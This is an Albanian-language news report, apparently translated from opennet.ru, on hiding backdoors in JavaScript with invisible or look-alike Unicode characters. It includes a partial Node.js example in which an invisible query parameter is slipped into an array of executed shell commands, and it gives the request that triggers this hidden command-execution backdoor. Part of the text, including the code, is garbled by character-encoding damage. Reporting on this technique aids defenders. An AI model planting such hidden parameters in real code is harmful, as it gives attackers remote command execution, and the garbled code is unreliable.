Pas metodës së sulmit Trojan Source, e bazuar në përdorimin e simboleve Unicode që ndryshojnë renditjen e tekstit dykahor, është publikuar një teknikë tjetër për futjen e veprimeve të fshehura, e cila është e aplikueshme për kodin në gjuhën JavaScript. Metoda e re bazohet në përdorimin e simbolit unicode «㠀» (kode 0x3164, «HANGUL FILLER»), i cili i përket kategorisë së shkronjave, por nuk ka përmbajtje të dukshme. Kategoria Unicode, në të cilën hyn ky simbol, është e lejuar që nga specifikimi ECMAScript 2015 për përdorim në emrat e variablave JavaScript, çka e mundëson krijimin e variablave të padukshme ose variablave të rinj, të padallueshëm nga variablat e tjerë në redaktorët e njohur të kodit, si Notepad++ dhe VS Code.
Si njĂ« shembull, Ă«shtĂ« dhĂ«nĂ« kodi pĂ«r platformĂ«n Node.js, nĂ« tĂ« cilin me anĂ« tĂ« njĂ« variabli, i pĂ«rbĂ«rĂ« nga njĂ« simbol «㠀», Ă«shtĂ« fshehur njĂ« backdoor, i cili lejon ekzekutimin e kodit tĂ« specifikuar nga sulmuesi: app.get(â/network_healthâ, async (req, res) => { const { timeout,ă €} = req.query; // nĂ« tĂ« vĂ«rtetĂ« Ă«shtĂ« e specifikuar «const { timeout,ă € \u3164}» const checkCommands = [ âping -c 1 google.comâ, âcurl -s http://example.com/â,ă € // pas presjes Ă«shtĂ« simboli \u3164 ];
Në shikim të parë, vetëm vlera timeout kalon përmes një parametri të jashtëm, dhe array me komandat në ekzekutim përmban një listë të fixuar pa rrezik. Por në realitet, pas variablës timeout, caktohet vlera e një variabli tjetër të padukshëm me kodin e simbolit \u3164, i cili gjithashtu është vendosur në array-n e komandave në ekzekutim. Kështu, me një strukturë të tillë, për të aktivizuar backdoor-in dhe për të ekzekutuar kodin e tij, sulmuesi mund të dërgojë një kërkesë si «https://host:8080/network_health?=komanda».
Si njĂ« tjetĂ«r shembull jepet simboli «Ç» (ALVEOLAR CLICK), i cili mund tĂ« pĂ«rdoret pĂ«r tĂ« krijuar iluzionin e pragut tĂ« shenjĂ«s sĂ« thirrjes. PĂ«r shembull, shprehja «if(environmentÇ=ENV_PROD){» gjatĂ« ekzekutimit nĂ« Node.js 14 do tĂ« jetĂ« gjithmonĂ« e vĂ«rtetĂ«, pasi nĂ« tĂ« nuk bĂ«het kontroll i dallimit, por caktohet variabli «environmentÇ» vlera ENV_PROD. NdĂ«r simbolet e tjera tĂ« ngatĂ«rrueshme unicode, janĂ« tĂ« pĂ«rmendura edhe «ïŒÂ», «â», «ïŒÂ», «⩔», «âšÂ», «⫝̸», «êżÂ» dhe «â».
Burimi: opennet.ru
